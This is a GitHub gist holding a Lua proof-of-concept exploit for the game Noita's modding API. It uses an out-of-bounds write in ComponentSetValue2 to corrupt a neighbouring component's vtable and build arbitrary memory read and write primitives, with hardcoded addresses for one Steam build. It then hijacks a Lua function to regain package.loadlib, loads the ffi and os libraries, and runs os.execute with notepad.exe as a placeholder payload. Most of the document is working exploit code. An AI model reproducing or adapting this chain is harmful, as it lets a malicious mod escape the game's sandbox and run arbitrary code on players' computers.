Skip to content

Instantly share code, notes, and snippets.

@dextercd
Created June 21, 2023 15:15
Show Gist options
  • Save dextercd/f9af4fdafcdc65dade9b4eb5988256f9 to your computer and use it in GitHub Desktop.
Save dextercd/f9af4fdafcdc65dade9b4eb5988256f9 to your computer and use it in GitHub Desktop.
-- ComponentGetValue2 for FloatArrayInline and Vec2ArrayInline reads one element out of bounds.
-- Can't really do anything interesting with this but it's a bug that should probably get fixed.
-- ComponentSetValue2 for Vec2ArrayInline writes waaay out of bounds if you give
-- it a big enough table. We can use this to corrupt a component that's placed
-- after it in memory.
-- vtable pointers are an interesting target!
-- Utils
-- For placing binary numbers into memory
function as_binary(number)
local sign = bit.band(0x80000000, number) == 0 and 1 or - 1
local exp_ = bit.rshift(bit.band(0x7f800000, number), 23)
local sig = bit.band(0x7fffff, number)
local leading = exp_ == 0 and 0 or 1
local exponent = exp_ == 0 and -126 or exp_ - 127
return sign * (leading + sig / 0x800000) * 2^exponent
end
-- Given a function, return the address in its string representation
-- (e.g. f -> "function: 0x2ac3a150" -> 0x2ac3a150)
function funaddr(f)
return tonumber(tostring(f):sub(13), 16)
end
-- Offsets to interesting parts of LuaJIT internal structures.
local fun_sz = 20
-- The exploit
e = EntityCreateNew()
-- Generally v2 is allocated after v1, you may have to run this in a loop though
v1 = EntityAddComponent2(e, "VerletPhysicsComponent", {_enabled=false})
v2 = EntityAddComponent2(e, "VerletPhysicsComponent", {_enabled=false})
-- Turns v2 into a VariableStorageComponent with the `name' field pointing to a
-- std::string we constructed to point at a certain memory address.
function construct_string(string_start, size, capacity)
local idx = 1
local tbl = {}
local function write_value(value)
tbl[idx] = value
idx = idx + 1
end
-- First write into all v1 values
-- velocities
for i=1,320 do write_value(0) end
-- dampenings
for i=1,160 do write_value(0) end
-- freedoms
for i=1,160 do write_value(0) end
-- links
for i=1,960 do write_value(0) end
-- colors
for i=1,160 do write_value(0) end
-- materials
for i=1,160 do write_value(0) end
-- sprite
write_value(0)
-- 208 extra bytes, not sure what this is tbh.. maybe allocation rounded up +
-- some bookkeeping. ¯\_(ツ)_/¯
for i=1,52 do write_value(0) end
-- Now we start writing into v2
-- first comes the vtable pointer which we make a VSC component
-- vtable address hardcoded for the Mar 11 2023 Steam version of Noita
write_value(as_binary(0x00e550a4))
-- Zero out the rest of the component base. Guaranteed crash if the engine
-- starts using v2 like a normal component, but the component is disabled
-- and we'll have executed our malicious payload by then (notepad.exe)
for i=1,17 do write_value(0) end
-- VSC name std::string
write_value(as_binary(string_start))
for i=1,3 do write_value(0) end -- SSO
write_value(as_binary(size))
write_value(as_binary(capacity))
-- Write waaay out of bounds from v1 all the way into v2
ComponentSetValue2(v1, "velocities", tbl)
end
local function read_int(addr)
construct_string(addr, 4, 100)
local bytes = ComponentGetValue2(v2, "name")
local value = 0
for i=1,math.min(#bytes, 4) do
value = value + string.byte(bytes, i) * math.pow(256, i - 1)
end
return value
end
local function write_int(addr, value)
local bytes = string.char(
bit.band(bit.rshift(value, 0), 0xff),
bit.band(bit.rshift(value, 8), 0xff),
bit.band(bit.rshift(value, 16), 0xff),
bit.band(bit.rshift(value, 24), 0xff)
)
construct_string(addr, 4, 100)
ComponentSetValue2(v2, "name", bytes)
end
-- Read luaopen_string IAT entry. Address hardcoded for the Mar 11 2023 Steam version of Noita
local luaopen_string = read_int(0x00d2478c)
local luaopen_package = luaopen_string - 5712 -- luaopen_package is a certain distance away
write_int(funaddr(SetPlayerSpawnLocation) + fun_sz, luaopen_package)
SetPlayerSpawnLocation()
print(tostring(package)) -- We have `package` now!
-- We can now use package.loadlib to load anything we want.
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")()
local os = package.loadlib("lua51.dll", "luaopen_os")()
-- TODO: Evil stuff 2.0
os.execute("notepad.exe")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment